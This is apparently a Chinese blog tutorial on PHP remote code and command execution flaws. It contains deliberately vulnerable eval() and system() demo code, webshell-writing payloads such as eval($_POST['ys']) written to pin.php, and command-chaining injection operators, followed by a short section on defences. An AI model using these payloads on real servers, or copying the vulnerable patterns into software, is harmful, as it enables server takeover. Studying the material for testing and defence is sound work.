RCE(远程代码/命令执行)漏洞

目录

  • 前言
  • 简介
  • 漏洞挖掘
  • 代码命令执行函数利用
  • 系统命令执行函数利用
  • 命令执行绕过
    • 常见管道符
    • 其他绕过
  • 防护
  • 总结

前言

       个人观点,若有误请指教


简介

  • RCE(Remote Code/Command Execute)为远程代码/命令执行的漏洞
  • 漏洞产生的原因:在Web应用中开发者为了灵活性,简洁性等会让应用去调用代码或者系统命令执行函数去处理。同时没有考虑用户是否可以控制这些函数的参数问题(若不能控制这些参数,自然也没有这个漏洞;若能控制这些参数,也可能出现考虑了但没有完全防住或者压根没考虑 😕),以至于这个漏洞的产生。

漏洞挖掘

  • 白盒测试,查看命令执行函数是否做过滤。命令执行函数如下:

PHP代码执行函数:eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、call_user_func_array()、array_filter()、uasort()
PHP系统执行函数:system()、exec()、shell_exec()、pcntl_exec()、popen()、proc_popen()、passthru()
注1:若代码执行函数的输入参数被``反引号包含时,则此时相当于系统执行函数,如输入值为echo (反引号)dir(反引号);
注2:由反引号括起来的字符串被当做shell命令执行,其标准输出结果取代整个反引号部分。
注3:反引号不区分操作系统,无论Window还是Linux都有这个现象。

  • 黑盒检测
    ①漏洞扫描工具。
    ②公开漏洞。
    ③手工看参数及其功能,根据其特点来判断有没有漏洞。

代码命令执行函数利用

  • 这里以最普通的eval函数为例,下面给出php漏洞代码
<?php
      $code = $_GET['x'];
      echo $code;
      echo "</br>";
      eval($code);
?>
  • 测试echo
    在这里插入图片描述

  • 测试phpinfo
    在这里插入图片描述

  • 测试反引号
    在这里插入图片描述
    在这里插入图片描述
    注:这里测试的系统是window系统。

  • 写入一句话木马
    在这里插入图片描述
    注:参数为:$file=fopen(“pin.php”,“w”) or die(“false”); fwrite($file, “<?php @eval(\$_POST['ys']);?>”); fclose($file);
    在这里插入图片描述


系统命令执行函数利用

  • 这里以最普通的system函数为例,下面给出php漏洞代码
<?php
      $code = $_GET['x'];
      echo $code;
      echo "</br>";
      system($code);
?>
  • 测试dir
    在这里插入图片描述

  • 测试ipconfig
    在这里插入图片描述

  • 查看文件内容
    在这里插入图片描述
    注:这里是windows系统,linux系统使用的是cat。

  • 写入一句话木马
    在这里插入图片描述
    注:参数为:echo ^<?php @eval($_POST[‘ys’]);?^> > pin.php。其中^的作用是转义<。


命令执行绕过

常见管道符

  • windows
    ① “|”:直接执行后面的语句(前面的语句是错是对无关紧要)。
    在这里插入图片描述
    ② “||”:如果前面的语句执行失败,则执行后面的语句,前面的语句只能为假才行。
    在这里插入图片描述
    在这里插入图片描述
    ③ “&”:两条命令都执行,前面的语句可真可假。
    在这里插入图片描述在这里插入图片描述
    ④ “&&”:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真。
    在这里插入图片描述
    在这里插入图片描述

  • linux
    ① “;”:执行完前面的语句再执行后面的语句(前面的语句是错是对无关紧要)。
    在这里插入图片描述
    ②“|”:显示后面语句的执行结果(前面的语句是错是对无关紧要)。
    在这里插入图片描述
    ③“||”:当前面的语句执行出错时,执行后面的语句。
    在这里插入图片描述在这里插入图片描述
    注:原来在kali中的ping127.0.0.0不是一条错误的语句!不过影响不大,上面的就不改的。(在window是错误的)

    ④ “&”:两条命令都执行,前面的语句可真可假(与;基本一致,唯一不同的是:当前面语句出错时,前后两条语句的结果出现的顺序相反。在window中报错顺序与;一致)。
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    注:这里换一下命令,因为本人在测试的时候,这里很奇怪的,ping命令无法使用Ctrl+C来终止命令。无论使用什么命令也是一样的,无论前面是对还是错,后面的语句都可以执行。

    ⑤“&&”:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真。
    在这里插入图片描述
    在这里插入图片描述

其他绕过

  • 边学边写吧,可以先观看博主1的文章、博主2的文章。(博主的绕过方法都是基于Linux系统的,window系统应该也差不多,只不过命令可能要换一下)

防护

  • 敏感函数禁止
    函数能禁止就禁止(有些函数可能需要使用无法被禁止),不行就变量过滤或者固定。
  • 变量过滤或者固定
    固定比起过滤要好,变量实在太多了,容易被绕过。
  • WAF产品
    这就不用说了吧。

总结

  • 任何漏洞的产生的充分必要条件有两个:
    ①漏洞函数
    ②可控参数
  • 上述的RCE漏洞的利用只给出小部分。其他的利用如下:
    php代码可以干什么,那么代码命令执行函数利用就可以实现什么。
    命令窗口可以干什么,那么系统命令执行函数利用就可以实现什么。
    换句话说,当你知道存在RCE漏洞而且你想干某件事的时候,直接上网查php代码(命令窗口)干某事的操作流程,然后把这流程当参数传递给后台就成功完成了目的。

点赞(3) 打赏

评论列表 共有 0 条评论

暂无评论

微信小程序

微信扫一扫体验

立即
投稿

微信公众账号

微信扫一扫加关注

发表
评论
返回
顶部